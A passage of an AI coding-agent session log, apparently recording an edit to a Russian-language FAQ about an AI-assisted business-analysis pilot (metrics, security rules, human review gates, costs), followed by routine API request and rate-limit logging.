\u043f\u0435\u0440\u0435\u0441\u043c\u0430\u0442\u0440\u0438\u0432\u0430\u0435\u0442\u0441\u044f. \u041f\u0443\u0441\u0442\u044b\u0435 \u0441\u043b\u043e\u0442\u044b \u0441\\n\u043f\u0440\u0438\u0447\u0438\u043d\u043e\u0439 \u0438\u0437\u043c\u0435\u0440\u044f\u044e\u0442\u0441\u044f \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e\u0439 \u043c\u0435\u0442\u0440\u0438\u043a\u043e\u0439 `M-5`.\\n\\n### \u00ab\u041a\u0430\u043a \u0432\u044b \u0438\u0437\u043c\u0435\u0440\u044f\u0435\u0442\u0435 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u043e, \u0435\u0441\u043b\u0438 evals \u043d\u0435 \u0431\u044b\u043b\u043e?\u00bb\\n\\n\u0411\u0430\u0437\u043e\u0432\u0430\u044f \u043b\u0438\u043d\u0438\u044f \u0441\u043d\u044f\u0442\u0430 \u0434\u043e \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u044f: `M-1 = 0.0` \u0438 6% \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u0431\u0435\u0437\\n\u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0439 \u043f\u0440\u0430\u0432\u043a\u0438. \u041c\u0435\u0442\u0440\u0438\u043a\u0438 `M-1`\u2026`M-5` \u0438\u0437\u043c\u0435\u0440\u044f\u044e\u0442 \u043f\u0440\u043e\u0433\u043e\u043d \u043f\u0430\u043a\u0435\u0442\u0430. \u041f\u043e\u0440\u043e\u0433\\n\u0443\u0441\u043f\u0435\u0445\u0430 \u0441\u0440\u0435\u0437\u0430 \u0437\u0430\u0434\u0430\u043d \u0437\u0430\u0440\u0430\u043d\u0435\u0435: \u043f\u043e\u043b\u043d\u043e\u0442\u0430 \u0441\u043b\u0435\u0434\u0430 100% \u0438 \u0437\u0430\u043c\u0435\u0442\u043d\u044b\u0439 \u0440\u043e\u0441\u0442 `M-1` \u043f\u0440\u0438\\n\u043d\u0435\u043d\u0443\u043b\u0435\u0432\u043e\u0439 \u0434\u043e\u043b\u0435 \u043c\u0430\u0448\u0438\u043d\u043d\u044b\u0445 \u043e\u0442\u043a\u0430\u0437\u043e\u0432.\\n\\n### \u00ab\u041d\u0430\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043c\u043e\u0436\u043d\u043e \u0432\u0435\u0440\u0438\u0442\u044c \u0441\u0442\u0430\u0442\u0438\u0441\u0442\u0438\u043a\u0435 69 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432?\u00bb\\n\\n\u041c\u0435\u0442\u0440\u0438\u043a\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043f\u0440\u043e\u0433\u043e\u043d\u044b \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u043b\u0438 \u0441\u0430\u043c\u0438, \u2014 \u0438\u043d\u0434\u0438\u043a\u0430\u0442\u0438\u0432\u043d\u044b: \u0444\u043e\u0440\u043c\u0430\u0442\u044b \u0440\u0430\u0437\u043d\u044b\u0435, \u0432\\n\u043e\u0434\u043d\u043e\u043c \u0441\u043b\u0443\u0447\u0430\u0435 \u0442\u043e\u043a\u0435\u043d\u044b, \u043f\u043e\u0445\u043e\u0436\u0435, \u0441\u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u043d\u044b \u0438\u0437 \u0434\u0440\u0443\u0433\u043e\u0433\u043e \u043f\u0440\u043e\u0433\u043e\u043d\u0430. \u041f\u043e\u044d\u0442\u043e\u043c\u0443\\n\u0444\u043e\u0440\u0435\u043d\u0437\u0438\u043a\u0430 \u043e\u043f\u0438\u0440\u0430\u0435\u0442\u0441\u044f \u043d\u0435 \u043d\u0430 \u0441\u0430\u043c\u043e\u043e\u0446\u0435\u043d\u043a\u0443, \u0430 \u043d\u0430 \u043d\u0430\u0431\u043b\u044e\u0434\u0430\u0435\u043c\u044b\u0435 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u044b: \u0432\u0445\u043e\u0434\u044b,\\n\u0432\u044b\u0445\u043e\u0434\u044b, \u0434\u0438\u0430\u043b\u043e\u0433\u0438 \u0438 \u043f\u0440\u0430\u0432\u043a\u0438 \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0430. \u0413\u0434\u0435 \u0434\u0430\u043d\u043d\u044b\u0445 \u043d\u0435\u0442, \u044d\u0442\u043e \u043f\u043e\u043c\u0435\u0447\u0435\u043d\u043e \u043a\u0430\u043a \u043f\u0440\u043e\u0431\u0435\u043b.\\n\\n### \u00ab\u0427\u0442\u043e \u0441 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c\u044e \u0438 \u0434\u0430\u043d\u043d\u044b\u043c\u0438?\u00bb\\n\\n\u041f\u0440\u0430\u0432\u0438\u043b\u0430 \u0437\u0430\u043f\u0438\u0441\u0430\u043d\u044b \u0432\\n[ADR-019](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/adr/2026-09-adr-019-cline-mango-ai-pilot.md).\\nEndpoint Mango AI \u0434\u043e\u0441\u0442\u0443\u043f\u0435\u043d \u0442\u043e\u043b\u044c\u043a\u043e \u0438\u0437 \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u043e\u0439 \u0441\u0435\u0442\u0438 \u0438\u043b\u0438 VPN. \u041a\u043b\u044e\u0447\\n\u043f\u0435\u0440\u0441\u043e\u043d\u0430\u043b\u044c\u043d\u044b\u0439 \u0438 \u043d\u0435 \u043f\u043e\u043f\u0430\u0434\u0430\u0435\u0442 \u0432 Git, \u0447\u0430\u0442 \u0438\u043b\u0438 \u0441\u043a\u0440\u0438\u043d\u0448\u043e\u0442. \u041f\u0440\u043e\u0433\u043e\u043d\u044b \u0438 \u0441\u0435\u043a\u0440\u0435\u0442\u044b\\n\u0438\u0441\u043a\u043b\u044e\u0447\u0435\u043d\u044b \u0438\u0437 \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u043e\u0433\u043e Git. \u0410\u0433\u0435\u043d\u0442\u0443 \u0437\u0430\u043f\u0440\u0435\u0449\u0435\u043d\u043e \u043c\u0435\u043d\u044f\u0442\u044c \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u044b,\\n\u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u044b \u0438 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u044b \u0432\u043d\u0443\u0442\u0440\u0438 \u0431\u0438\u0437\u043d\u0435\u0441-\u043f\u0440\u043e\u0433\u043e\u043d\u0430: \u0442\u0430\u043a\u0438\u0435 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f \u0438\u0434\u0443\u0442 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u043c\\nPR \u0432 Source \u0438 \u043f\u0435\u0440\u0435\u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0446\u0438\u0435\u0439.\\n\\n\u041f\u0440\u043e\u0431\u0435\u043b, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043d\u0430\u0434\u043e \u043d\u0430\u0437\u0432\u0430\u0442\u044c \u0441\u0430\u043c\u0438\u043c: \u00ab\u0442\u043e\u043b\u044c\u043a\u043e \u0447\u0442\u0435\u043d\u0438\u0435\u00bb \u0434\u043b\u044f Jira \u0438 Confluence\\n\u0447\u0435\u0440\u0435\u0437 MCP \u0441\u0435\u0439\u0447\u0430\u0441 \u2014 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u043e\u043d\u043d\u0430\u044f \u043c\u0435\u0440\u0430. Hook \u043f\u0430\u043a\u0435\u0442\u0430 Cline \u043f\u0440\u043e\u043f\u0443\u0441\u043a\u0430\u0435\u0442\\n\u043b\u044e\u0431\u043e\u0439 MCP-\u0432\u044b\u0437\u043e\u0432, \u0440\u0435\u0430\u043b\u044c\u043d\u0430\u044f \u0433\u0440\u0430\u043d\u0438\u0446\u0430 \u2014 \u0440\u0443\u0447\u043d\u043e\u0435 \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u0435 \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u043e\u043c\\n([\u0413-12](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-29-cline-package-expectation-gap.md#\u0433-12)).\\n\u0418\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u2014 allowlist \u043f\u0430\u0440 \u00ab\u0441\u0435\u0440\u0432\u0435\u0440/\u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u00bb \u0442\u043e\u043b\u044c\u043a\u043e \u043d\u0430 \u0447\u0442\u0435\u043d\u0438\u0435. \u0412\\n\u0441\u0435\u0440\u0432\u0435\u0440\u043d\u043e\u0439 \u0441\u0440\u0435\u0434\u0435 \u044d\u0442\u043e\u0442 \u0432\u043e\u043f\u0440\u043e\u0441 \u0440\u0435\u0448\u0430\u0435\u0442\u0441\u044f \u043d\u0430 \u0441\u0442\u043e\u0440\u043e\u043d\u0435 \u043a\u043e\u0434\u0430: \u043c\u043e\u0434\u0435\u043b\u044c \u043d\u0435 \u0432\u044b\u0437\u044b\u0432\u0430\u0435\u0442\\n\u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u044b \u0441\u0430\u043c\u0430.\\n\\n### \u00ab\u041d\u0435 \u0441\u0442\u0430\u043d\u0435\u0442 \u043b\u0438 \u0447\u0435\u043b\u043e\u0432\u0435\u043a \u043d\u0430 \u0433\u0435\u0439\u0442\u0435 \u0443\u0437\u043a\u0438\u043c \u043c\u0435\u0441\u0442\u043e\u043c?\u00bb\\n\\n\u0427\u0435\u043b\u043e\u0432\u0435\u043a \u0440\u0435\u0448\u0430\u0435\u0442 \u0442\u043e\u043b\u044c\u043a\u043e \u0442\u043e, \u0447\u0442\u043e \u043c\u0430\u0448\u0438\u043d\u0430 \u0440\u0435\u0448\u0438\u0442\u044c \u043d\u0435 \u043c\u043e\u0436\u0435\u0442: \u0441\u043c\u044b\u0441\u043b, \u0441\u043f\u043e\u0440\u043d\u044b\u0439 \u0432\u044b\u0431\u043e\u0440,\\n\u043f\u0440\u0438\u0451\u043c\u043a\u0443. \u041c\u0435\u0442\u0440\u0438\u043a\u0430 `M-3` \u043f\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442, \u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043f\u0440\u0430\u0432\u043e\u043a \u0447\u0435\u043b\u043e\u0432\u0435\u043a \u0432\u043d\u043e\u0441\u0438\u0442 \u043f\u043e\u0441\u043b\u0435\\n\u043c\u0430\u0448\u0438\u043d\u043d\u043e\u0433\u043e \u0433\u0435\u0439\u0442\u0430. \u0415\u0441\u043b\u0438 \u043e\u043d\u0430 \u043d\u0435 \u043f\u0430\u0434\u0430\u0435\u0442, \u0437\u043d\u0430\u0447\u0438\u0442, \u043c\u0430\u0448\u0438\u043d\u0430 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u043d\u0435 \u0442\u043e.\\n\\n### \u00ab\u0417\u0430\u0447\u0435\u043c \u0434\u0432\u0430 \u043a\u043b\u0438\u0435\u043d\u0442\u0430, GigaCode CLI \u0438 Cline?\u00bb\\n\\n\u042d\u0442\u043e \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u044f \u0441\u0440\u0435\u0434\u044b, \u0430 \u043d\u0435 \u0432\u044b\u0431\u043e\u0440 \u0432\u043a\u0443\u0441\u0430. \u0412 GigaCode CLI \u043d\u0435\u0442 API Mango AI, \u0430\\nCline \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0441 Mango AI. Source \u043e\u0434\u0438\u043d, \u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0442\u043e\u0440 \u043e\u0431\u0449\u0438\u0439, \u043f\u0430\u043a\u0435\u0442\u044b \u043e\u0442\u043b\u0438\u0447\u0430\u044e\u0442\u0441\u044f\\n\u0430\u0434\u0430\u043f\u0442\u0435\u0440\u0430\u043c\u0438. \u0421\u0435\u0440\u0432\u0435\u0440\u043d\u0430\u044f \u0441\u0440\u0435\u0434\u0430 \u0441\u043d\u0438\u043c\u0430\u0435\u0442 \u044d\u0442\u0443 \u0440\u0430\u0437\u0432\u0438\u043b\u043a\u0443: \u044f\u0434\u0440\u043e \u043e\u0434\u043d\u043e, \u043a\u043b\u0438\u0435\u043d\u0442 \u2014\\n\u0442\u043e\u043b\u044c\u043a\u043e \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441 \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0430.\\n\\n### \u00ab\u0427\u0442\u043e \u0434\u043e\u043a\u0430\u0437\u0430\u043d\u043e, \u0430 \u0447\u0442\u043e \u043d\u0435\u0442?\u00bb\\n\\n\u0414\u043e\u043a\u0430\u0437\u0430\u043d\u043e: \u043c\u0430\u0448\u0438\u043d\u043d\u044b\u0439 \u043e\u0442\u0440\u0435\u0437\u043e\u043a \u0434\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d; fail-closed \u043f\u0440\u0430\u0432\u0438\u043b\u043e \u043d\u0430 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445\\n\u043f\u0440\u043e\u0433\u043e\u043d\u0430\u0445 \u043f\u0440\u0435\u0434\u043e\u0442\u0432\u0440\u0430\u0449\u0430\u043b\u043e \u0432\u044b\u0434\u0443\u043c\u044b\u0432\u0430\u043d\u0438\u0435; \u043e\u0434\u0438\u043d \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442 \u0432\u044b\u0445\u043e\u0434\u0430 \u043f\u043e\u0434\u0445\u043e\u0434\u0438\u0442 \u0434\u043b\u044f\\n\u0440\u0430\u0437\u043d\u044b\u0445 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432. \u041d\u0435 \u0434\u043e\u043a\u0430\u0437\u0430\u043d\u043e: \u0441\u043a\u0432\u043e\u0437\u043d\u043e\u0439 \u043f\u0440\u043e\u0433\u043e\u043d \u043d\u0430 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0437\u0430\u0434\u0430\u0447\u0430\u0445 \u0432 \u0434\u0432\u0443\u0445\\n\u043a\u043b\u0438\u0435\u043d\u0442\u0430\u0445 \u2014 \u044d\u0442\u043e \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u0439 gate\\n[RFC \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u043d\u0430 \u043f\u0438\u043b\u043e\u0442\u0435](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/rfc/2026-09-source-pilot-verification.md).\\n\u0421\u043c\u044b\u0441\u043b\u043e\u0432\u0430\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u043f\u043e\u043a\u0430 \u0447\u0430\u0441\u0442\u0438\u0447\u043d\u043e \u0434\u0435\u0440\u0436\u0438\u0442\u0441\u044f \u043d\u0430 \u0441\u0430\u043c\u043e\u0434\u0435\u043a\u043b\u0430\u0440\u0430\u0446\u0438\u0438 \u043c\u043e\u0434\u0435\u043b\u0438:\\n\u043c\u0430\u0448\u0438\u043d\u0430 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u043d\u0430\u043b\u0438\u0447\u0438\u0435 \u043e\u0442\u043c\u0435\u0442\u043a\u0438 \u00ab\u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a \u043f\u0440\u043e\u0447\u0438\u0442\u0430\u043d\u00bb, \u0430 \u043d\u0435 \u0435\u0451 \u0438\u0441\u0442\u0438\u043d\u043d\u043e\u0441\u0442\u044c.\\n\u042d\u0442\u043e \u0437\u0430\u043a\u0440\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u043e\u0439 \u0446\u0438\u0442\u0430\u0442\u044b \u043f\u043e \u0444\u0430\u0439\u043b\u0443 \u0431\u0430\u0437\u044b \u0437\u043d\u0430\u043d\u0438\u0439 \u0438 \u0447\u0435\u043b\u043e\u0432\u0435\u0447\u0435\u0441\u043a\u0438\u043c\\n\u0433\u0435\u0439\u0442\u043e\u043c.\\n\\n### \u00ab\u0421\u043a\u043e\u043b\u044c\u043a\u043e \u044d\u0442\u043e \u0441\u0442\u043e\u0438\u0442 \u0438 \u043a\u043e\u0433\u0434\u0430 \u0431\u0443\u0434\u0435\u0442 \u0433\u043e\u0442\u043e\u0432\u043e?\u00bb\\n\\n\u0418\u0437\u043c\u0435\u0440\u0435\u043d\u043d\u043e\u0439 \u043e\u0446\u0435\u043d\u043a\u0438 \u0442\u0440\u0443\u0434\u043e\u0437\u0430\u0442\u0440\u0430\u0442 \u043d\u0435\u0442, \u0438 \u043c\u044b \u0435\u0451 \u043d\u0435 \u043d\u0430\u0437\u044b\u0432\u0430\u0435\u043c. \u0428\u0430\u0433 1 \u043d\u0435 \u0442\u0440\u0435\u0431\u0443\u0435\u0442\\n\u043d\u043e\u0432\u043e\u0439 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b \u0438 \u0441\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u0438\u0439 \u0418\u0411. \u0421\u0442\u043e\u0438\u043c\u043e\u0441\u0442\u044c \u0421\u0440\u0435\u0434\u044b 4 \u0431\u0443\u0434\u0435\u0442 \u043e\u0446\u0435\u043d\u0435\u043d\u0430 \u0432\\nRFC \u0441\u0435\u0440\u0432\u0435\u0440\u043d\u043e\u0439 \u0441\u0440\u0435\u0434\u044b (B-218) \u043f\u043e\u0441\u043b\u0435 \u0442\u043e\u0433\u043e, \u043a\u0430\u043a \u0448\u0430\u0433 2 \u0434\u0430\u0441\u0442 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u0437\u0430\u043c\u0435\u0440\u0430.\\n\",\n[2026-09-29T07:55:57.765Z] [INFO]     \"structuredPatch\": [\n[2026-09-29T07:55:57.765Z] [INFO]       {\n[2026-09-29T07:55:57.765Z] [INFO]         \"oldStart\": 467,\n[2026-09-29T07:55:57.765Z] [INFO]         \"oldLines\": 5,\n[2026-09-29T07:55:57.765Z] [INFO]         \"newStart\": 467,\n[2026-09-29T07:55:57.765Z] [INFO]         \"newLines\": 6,\n[2026-09-29T07:55:57.765Z] [INFO]         \"lines\": [\n[2026-09-29T07:55:57.765Z] [INFO]           \" ### \u00ab\u0421\u043a\u043e\u043b\u044c\u043a\u043e \u044d\u0442\u043e \u0441\u0442\u043e\u0438\u0442 \u0438 \u043a\u043e\u0433\u0434\u0430 \u0431\u0443\u0434\u0435\u0442 \u0433\u043e\u0442\u043e\u0432\u043e?\u00bb\",\n[2026-09-29T07:55:57.765Z] [INFO]           \" \",\n[2026-09-29T07:55:57.765Z] [INFO]           \" \u0418\u0437\u043c\u0435\u0440\u0435\u043d\u043d\u043e\u0439 \u043e\u0446\u0435\u043d\u043a\u0438 \u0442\u0440\u0443\u0434\u043e\u0437\u0430\u0442\u0440\u0430\u0442 \u043d\u0435\u0442, \u0438 \u043c\u044b \u0435\u0451 \u043d\u0435 \u043d\u0430\u0437\u044b\u0432\u0430\u0435\u043c. \u0428\u0430\u0433 1 \u043d\u0435 \u0442\u0440\u0435\u0431\u0443\u0435\u0442\",\n[2026-09-29T07:55:57.765Z] [INFO]           \"-\u043d\u043e\u0432\u043e\u0439 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b \u0438 \u0441\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u0438\u0439 \u0418\u0411. \u0421\u0442\u043e\u0438\u043c\u043e\u0441\u0442\u044c \u0421\u0440\u0435\u0434\u044b 4 \u0431\u0443\u0434\u0435\u0442 \u043e\u0446\u0435\u043d\u0435\u043d\u0430 \u0432\",\n[2026-09-29T07:55:57.765Z] [INFO]           \"+\u043d\u043e\u0432\u043e\u0439 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b: \u044d\u0442\u043e \u043f\u0440\u0430\u0432\u043a\u0438 runner, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0443\u0436\u0435 \u0435\u0441\u0442\u044c \u0432 \u043f\u0430\u043a\u0435\u0442\u0430\u0445.\",\n[2026-09-29T07:55:57.765Z] [INFO]           \"+\u0421\u0442\u043e\u0438\u043c\u043e\u0441\u0442\u044c \u0421\u0440\u0435\u0434\u044b 4 \u0431\u0443\u0434\u0435\u0442 \u043e\u0446\u0435\u043d\u0435\u043d\u0430 \u0432\",\n[2026-09-29T07:55:57.765Z] [INFO]           \" RFC \u0441\u0435\u0440\u0432\u0435\u0440\u043d\u043e\u0439 \u0441\u0440\u0435\u0434\u044b (B-218) \u043f\u043e\u0441\u043b\u0435 \u0442\u043e\u0433\u043e, \u043a\u0430\u043a \u0448\u0430\u0433 2 \u0434\u0430\u0441\u0442 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u0437\u0430\u043c\u0435\u0440\u0430.\"\n[2026-09-29T07:55:57.765Z] [INFO]         ]\n[2026-09-29T07:55:57.765Z] [INFO]       }\n[2026-09-29T07:55:57.765Z] [INFO]     ],\n[2026-09-29T07:55:57.765Z] [INFO]     \"userModified\": false,\n[2026-09-29T07:55:57.765Z] [INFO]     \"replaceAll\": false,\n[2026-09-29T07:55:57.765Z] [INFO]     \"contentNotInModelContext\": true\n[2026-09-29T07:55:57.765Z] [INFO]   }\n[2026-09-29T07:55:57.765Z] [INFO] }\n[2026-09-29T07:55:57.796Z] [STDOUT] [log_974026] sending request {\n[2026-09-29T07:55:57.799Z] [STDOUT]   method: \"POST\",\n[2026-09-29T07:55:57.802Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:55:57.805Z] [STDOUT]   options: {\n[2026-09-29T07:55:57.808Z] [STDOUT]     method: \"post\",\n[2026-09-29T07:55:57.812Z] [STDOUT]     path: \"/v1/messages?beta=true\",\n[2026-09-29T07:55:57.815Z] [STDOUT]     body: {\n[2026-09-29T07:55:57.818Z] [STDOUT]       model: \"claude-opus-5-5\",\n[2026-09-29T07:55:57.821Z] [STDOUT]       messages: [Array ...],\n[2026-09-29T07:55:57.825Z] [STDOUT]       system: [Array ...],\n[2026-09-29T07:55:57.830Z] [STDOUT]       tool_choice: undefined,\n[2026-09-29T07:55:57.834Z] [STDOUT]       metadata: [Object ...],\n[2026-09-29T07:55:57.837Z] [STDOUT]       max_tokens: 128000,\n[2026-09-29T07:55:57.842Z] [STDOUT]       thinking: [Object ...],\n[2026-09-29T07:55:57.845Z] [STDOUT]       context_management: [Object ...],\n[2026-09-29T07:55:57.848Z] [STDOUT]       output_config: [Object ...],\n[2026-09-29T07:55:57.851Z] [STDOUT]       thread: [Object ...],\n[2026-09-29T07:55:57.854Z] [STDOUT]       diagnostics: [Object ...],\n[2026-09-29T07:55:57.862Z] [STDOUT]       stream: true,\n[2026-09-29T07:55:57.865Z] [STDOUT]     },\n[2026-09-29T07:55:57.869Z] [STDOUT]     timeout: 600000,\n[2026-09-29T07:55:57.873Z] [STDOUT]     signal: AbortSignal {\n[2026-09-29T07:55:57.879Z] [STDOUT]       aborted: false,\n[2026-09-29T07:55:57.885Z] [STDOUT]       reason: undefined,\n[2026-09-29T07:55:57.887Z] [STDOUT]       onabort: null,\n[2026-09-29T07:55:57.892Z] [STDOUT]       throwIfAborted: [Function: throwIfAborted],\n[2026-09-29T07:55:57.902Z] [STDOUT]       addEventListener: [Function: addEventListener],\n[2026-09-29T07:55:57.907Z] [STDOUT]       removeEventListener: [Function: removeEventListener],\n[2026-09-29T07:55:57.911Z] [STDOUT]       dispatchEvent: [Function: dispatchEvent],\n[2026-09-29T07:55:57.916Z] [STDOUT]     },\n[2026-09-29T07:55:57.925Z] [STDOUT]     stream: true,\n[2026-09-29T07:55:57.932Z] [STDOUT]   },\n[2026-09-29T07:55:57.938Z] [STDOUT]   headers: {\n[2026-09-29T07:55:57.944Z] [STDOUT]     accept: \"application/json\",\n[2026-09-29T07:55:57.948Z] [STDOUT]     \"anthropic-beta\": \"claude-code-20250219,oauth-2025-04-20,interleaved-thinking-2025-05-14,thinking-token-count-2026-05-13,context-management-2025-06-27,prompt-caching-scope-2026-01-05,mid-conversation-system-2026-04-07,per-turn-control-2026-07-01,mid-conversation-tool-changes-2026-07-01,advisor-tool-2026-03-01,advanced-tool-use-2025-11-20,mid-conversation-system-clear-at-2026-08-21,effort-2025-11-24,thinking-binding-controls-2026-08-01,thinking-display-updates-2026-08-18,extended-cache-ttl-2025-04-11,cache-diagnosis-2026-04-07,message-threads-2026-08-12\",\n[2026-09-29T07:55:57.954Z] [STDOUT]     \"anthropic-dangerous-direct-browser-access\": \"true\",\n[2026-09-29T07:55:57.958Z] [STDOUT]     \"anthropic-dispatch-id\": \"v2d\",\n[2026-09-29T07:55:57.961Z] [STDOUT]     \"anthropic-version\": \"2023-06-01\",\n[2026-09-29T07:55:57.964Z] [STDOUT]     authorization: \"[REDACTED]\",\n[2026-09-29T07:55:57.967Z] [STDOUT]     \"content-type\": \"application/json\",\n[2026-09-29T07:55:57.970Z] [STDOUT]     \"user-agent\": \"claude-cli/2.1.284 (external, sdk-cli)\",\n[2026-09-29T07:55:57.973Z] [STDOUT]     \"x-app\": \"cli\",\n[2026-09-29T07:55:57.976Z] [STDOUT]     \"x-claude-code-prev-tool-durations\": \"Edit=65;Edit=22;Edit=26;Edit=23;Edit=16;Edit=38\",\n[2026-09-29T07:55:57.979Z] [STDOUT]     \"x-claude-code-prompt-id\": \"0c6b6133-0ba4-48fe-8f91-a84541ac33b7\",\n[2026-09-29T07:55:57.981Z] [STDOUT]     \"x-claude-code-request-class\": \"main\",\n[2026-09-29T07:55:57.983Z] [STDOUT]     \"x-claude-code-session-id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:55:57.986Z] [STDOUT]     \"x-client-request-id\": \"68e6f8c6-101c-49e1-ae4d-b1950bf3dfa0\",\n[2026-09-29T07:55:57.988Z] [STDOUT]     \"x-stainless-arch\": \"x64\",\n[2026-09-29T07:55:57.991Z] [STDOUT]     \"x-stainless-lang\": \"js\",\n[2026-09-29T07:55:57.994Z] [STDOUT]     \"x-stainless-os\": \"Linux\",\n[2026-09-29T07:55:57.997Z] [STDOUT]     \"x-stainless-package-version\": \"0.112.1\",\n[2026-09-29T07:55:58.002Z] [STDOUT]     \"x-stainless-retry-count\": \"0\",\n[2026-09-29T07:55:58.008Z] [STDOUT]     \"x-stainless-runtime\": \"node\",\n[2026-09-29T07:55:58.015Z] [STDOUT]     \"x-stainless-runtime-version\": \"v26.3.0\",\n[2026-09-29T07:55:58.018Z] [STDOUT]     \"x-stainless-timeout\": \"600\",\n[2026-09-29T07:55:58.032Z] [STDOUT]   },\n[2026-09-29T07:55:58.035Z] [STDOUT] }\n[2026-09-29T07:55:58.607Z] [STDOUT] [log_974026, request-id: \"req_011CfXNZRMYBoyzm11wd6uwt\"] post https://api.anthropic.com/v1/messages?beta=true succeeded with status 200 in 811ms\n[2026-09-29T07:55:58.611Z] [STDOUT] [log_974026] response start {\n[2026-09-29T07:55:58.618Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:55:58.621Z] [STDOUT]   status: 200,\n[2026-09-29T07:55:58.626Z] [STDOUT]   headers: {\n[2026-09-29T07:55:58.630Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:55:58.636Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:55:58.642Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:55:58.647Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-utilization\": \"0.41\",\n[2026-09-29T07:55:58.653Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:55:58.656Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:55:58.665Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:55:58.669Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:55:58.677Z] [STDOUT]     \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:55:58.680Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:55:58.684Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:55:58.687Z] [STDOUT]     \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:55:58.690Z] [STDOUT]     \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:55:58.693Z] [STDOUT]     \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:55:58.696Z] [STDOUT]     \"anthropic-workspace-id\": 